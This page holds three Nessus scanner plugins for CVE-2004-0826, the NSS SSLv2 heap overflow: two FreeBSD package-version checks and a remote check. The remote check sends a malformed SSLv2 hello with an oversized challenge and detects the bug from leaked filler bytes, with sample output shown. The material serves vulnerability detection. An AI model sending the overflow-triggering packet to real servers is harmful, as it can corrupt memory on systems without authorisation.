Vulnerabilities > CVE-2004-0826 - Remote Heap Overflow vulnerability in Mozilla Network Security Services Library

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2018 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(37032);
  script_version("1.18");
  script_cvs_date("Date: 2019/08/02 13:32:36");

  script_cve_id("CVE-2004-0826");
  script_bugtraq_id(11015);
  script_xref(name:"Secunia", value:"12362");

  script_name(english:"FreeBSD : nss -- exploitable buffer overflow in SSLv2 protocol handler (207f8ff3-f697-11d8-81b0-000347a4fa7d)");
  script_summary(english:"Checks for updated package in pkg_info output");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote FreeBSD host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"ISS X-Force reports that a remotely exploitable buffer overflow exists
in the Netscape Security Services (NSS) library's implementation of
SSLv2. From their advisory :

The NSS library contains a flaw in SSLv2 record parsing that may lead
to remote compromise. When parsing the first record in an SSLv2
negotiation, the client hello message, the server fails to validate
the length of a record field. As a result, it is possible for an
attacker to trigger a heap-based overflow of arbitrary length.

Note that the vulnerable NSS library is also present in Mozilla-based
browsers. However, it is not believed that browsers are affected, as
the vulnerability is present only in code used by SSLv2 *servers*."
  );
  # http://xforce.iss.net/xforce/alerts/id/180
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?883d3e88"
  );
  # https://vuxml.freebsd.org/freebsd/207f8ff3-f697-11d8-81b0-000347a4fa7d.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?b1363c6c"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:nss");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2004/08/23");
  script_set_attribute(attribute:"patch_publication_date", value:"2004/08/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2009/04/23");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2009-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"nss<3.9.2")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

# @DEPRECATED@
#
# This script has been deprecated by freebsd_pkg_207f8ff3f69711d881b0000347a4fa7d.nasl.
#
# Disabled on 2011/10/02.
#

#
# (C) Tenable Network Security, Inc.
#
# This script contains information extracted from VuXML :
#
# Copyright 2003-2006 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#   copyright notice, this list of conditions and the following
#   disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#   published online in any format, converted to PDF, PostScript,
#   RTF and other formats) must reproduce the above copyright
#   notice, this list of conditions and the following disclaimer
#   in the documentation and/or other materials provided with the
#   distribution.
#
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
#
#

include('compat.inc');

if ( description )
{
 script_id(14440);
 script_version("1.24");
 script_bugtraq_id(11015);

 script_name(english:"FreeBSD : nss -- exploitable buffer overflow in SSLv2 protocol handler (129)");

script_set_attribute(attribute:'synopsis', value: 'The remote host is missing a security update');
script_set_attribute(attribute:'description', value:'The following package needs to be updated: nss');
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"exploit_framework_core", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');
script_set_attribute(attribute:'solution', value: 'Update the package on the remote host');
script_set_attribute(attribute: 'see_also', value: 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=482
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=483
http://secunia.com/advisories/12362
http://secunia.com/advisories/21709/
http://secunia.com/advisories/21982/
http://www.mozilla.org/security/announce/2007/mfsa2007-01.html
http://www.mozilla.org/security/announce/2007/mfsa2007-02.html
http://www.opera.com/support/search/view/861/
http://xforce.iss.net/xforce/alerts/id/180');
script_set_attribute(attribute:'see_also', value: 'http://www.FreeBSD.org/ports/portaudit/207f8ff3-f697-11d8-81b0-000347a4fa7d.html');

 script_set_attribute(attribute:"plugin_publication_date", value: "2004/08/30");
 script_cvs_date("Date: 2018/08/22 16:49:14");
 script_end_attributes();
 script_cve_id("CVE-2004-0826");
 script_summary(english:"Check for nss");
 script_category(ACT_GATHER_INFO);
 script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");
 family["english"] = "FreeBSD Local Security Checks";
 script_family(english:family["english"]);
 script_dependencies("ssh_get_info.nasl");
 script_require_keys("Host/FreeBSD/pkg_info");
 exit(0);
}

# Deprecated.
exit(0, "This plugin has been deprecated. Refer to plugin #37032 (freebsd_pkg_207f8ff3f69711d881b0000347a4fa7d.nasl) instead.");

#TRUSTED a3b6b0dc40d113e55956bd2e230a97c989477d887770db6300489a28c2cee5e073af74ce3c7e13d4093200d94a54679f26fff493011b8d82099dae001919b1146b5f432c70f1da72b7b82e0458fcd55fa8219cab8b3148c3c5a831a846ae01e07b896bac76ed320732cee8f0278e1bce5a7fce983593a5632d19b57218bb48e909f1a555ccf47b9ea86ebbfe477d23c04676d288ec2834a81b0b40cf9ad904a9340db070193effd1b705b9924e34915801fe3ce6f91091270d36375074ec494feb1265c6ecbcb98b47a35f1f1b390731c6c3a6d6cd43f7192a6b801a75d7b94ff5b737239690e14077d2282b1395c96025d2e726ab561ecf52fc4889d9dc648eecf0cca5e96cf6cc26b13f7aea392791cb82c825d79dc8c62b52aeb65125fc83a47d5d25bbaf729ec94a4301375a54514714f76158419a82839200c8eabf301bc48169df3f990865043200a06bb9d456d0925415efbcbb321e250510df456ec7dabf4f48b850169725a85c24ca5580cab1f87601cf9339a69e2b1223838cd3da93c5229ab1764b5b22d4d130d28b18b6c38ab81541ec7af24dd20e353337e06adac79cfb1de5d3beb20d8c9935c61d83e7f8151d2f43dfac3d8ae525958fc1515fa4759d6cb1824b7057617da39f4231e580fb634ca0767b59243cdb563c939626d96b8f54d07689b1dd2ca817f92d3996c91420c99875483718a49dfd457f1d
#
# This script was written by H D Moore <[email protected]>
#
# See the Nessus Scripts License for details
#

# Changes by Tenable:
# - Revised plugin title (8/5/09)
# - Updated to use compat.inc (11/20/2009)
# - Updated to support StartTLS (3/16/2012)
# - Signed (10/18/2013)

include("compat.inc");

if (description)
{
	script_id(14361);
	script_version("1.24");
	script_set_attribute(attribute:"plugin_modification_date", value:"2013/10/18");

	script_cve_id("CVE-2004-0826");
	script_bugtraq_id(11015);

	script_name(english:"Netscape NSS Library SSLv2 Challenge Overflow");
	script_summary(english:"Tests for the NSS SSLv2 challenge overflow");

 script_set_attribute(attribute:"synopsis", value:
"The remote service is susceptible to a buffer overflow attack.");
 script_set_attribute(attribute:"description", value:
"The remote host seems to be using the Mozilla Network Security
Services (NSS) Library, a set of libraries designed to support the
development of security-enabled client/server applications.

There seems to be a flaw in the remote version of this library, in the
SSLv2 handling code, that may allow an attacker to cause a heap
overflow and therefore execute arbitrary commands on the remote host.
To exploit this flaw, an attacker needs to send a malformed SSLv2
'hello' message to the remote service.");
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?844b4085");
 script_set_attribute(attribute:"solution", value:
"Upgrade the remote service to use NSS 3.9.2 or newer.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"exploit_framework_core", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');

 script_set_attribute(attribute:"plugin_publication_date", value:"2004/08/24");
 script_set_attribute(attribute:"vuln_publication_date", value:"2004/08/23");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


	script_category(ACT_MIXED_ATTACK);
	script_copyright(english:"This script is Copyright (C) 2004-2013 Digital Defense");
	script_family(english:"Gain a shell remotely");
	script_dependencies("ssl_supported_versions.nasl");
	script_require_keys("SSL/Supported");
	exit(0);
}

include("byte_func.inc");
include("ftp_func.inc");
include("global_settings.inc");
include("kerberos_func.inc");
include("ldap_func.inc");
include("misc_func.inc");
include("nntp_func.inc");
include("smtp_func.inc");
include("ssl_funcs.inc");
include("telnet2_func.inc");

get_kb_item_or_exit("SSL/Supported");

port = get_ssl_ports(fork:TRUE);
if (isnull(port))
  exit(1, "The host does not appear to have any SSL-based services.");

# Find out if the port is open.
if (!get_port_state(port))
  exit(0, "Port " + port + " is not open.");

# Grab the HTTP banner if this is a http service
sb = string("www/real_banner/", port);
banner = get_kb_item(sb);

if (! banner ) {
      sb = string("www/banner/", port);
      banner = get_kb_item(sb);
}

if ( safe_checks() )
	TestOF = 0;
else
	TestOF = 1;

if ( banner )
{
 if ( egrep(pattern:".*(Netscape.Enterprise|Sun-ONE).*", string:banner) )
	TestOF ++;
}


if ( ! TestOF ) exit(0);


# Connect to the port, issuing the StartTLS command if necessary.
soc = open_sock_ssl(port);
if (!soc)
  exit(1, "open_sock_ssl() returned NULL for port " + port + ".");

# First we try a normal hello
req = raw_string(0x80, 0x1c, 0x01, 0x00,
                 0x02, 0x00, 0x03, 0x00,
                 0x00, 0x00, 0x10, 0x07,
                 0x00, 0xc0)
                 + crap(16, "NESSUS");

send(socket:soc, data:req);
res = recv(socket:soc, length:64);

# SSLv2 servers should respond back with the certificate at this point
if (strlen(res) < 64) exit(0);

close(soc);

# Now we try to overwrite most of the SSL response packet
# this should result in some of our data leaking back to us

# Connect to the port, issuing the StartTLS command if necessary.
soc = open_sock_ssl(port);
if (!soc)
  exit(1, "open_sock_ssl() returned NULL for port " + port + ".");

req = raw_string(0x80, 0x44, 0x01, 0x00,
                 0x02, 0x00, 0x03, 0x00,
                 0x00, 0x00, 0x38, 0x07,
                 0x00, 0xc0)
                 + crap(16, data:"NESSUS")
                 + crap(40, data:"VULN");

send(socket:soc, data:req);
res = recv(socket:soc, length:2048);
close(soc);

# display(res);


if ( "VULN" >< res ) {
    security_hole(port:port);
}

#-- contents of res after test --
#$ nasl DDI_NSS_SSLv2_Challenge_Overflow.nasl -t 192.168.50.192
#** WARNING : packet forgery will not work
#** as NASL is not running as root
#.....
#8.?.....
#(/..5._.2..I....S@J\i.......wK..H.....v4.o..T.......f......3V>.o.l.O."....X.G..:G7.....9a...... ....V...t.Sf
#|....8...VULNVULNVULNVULNh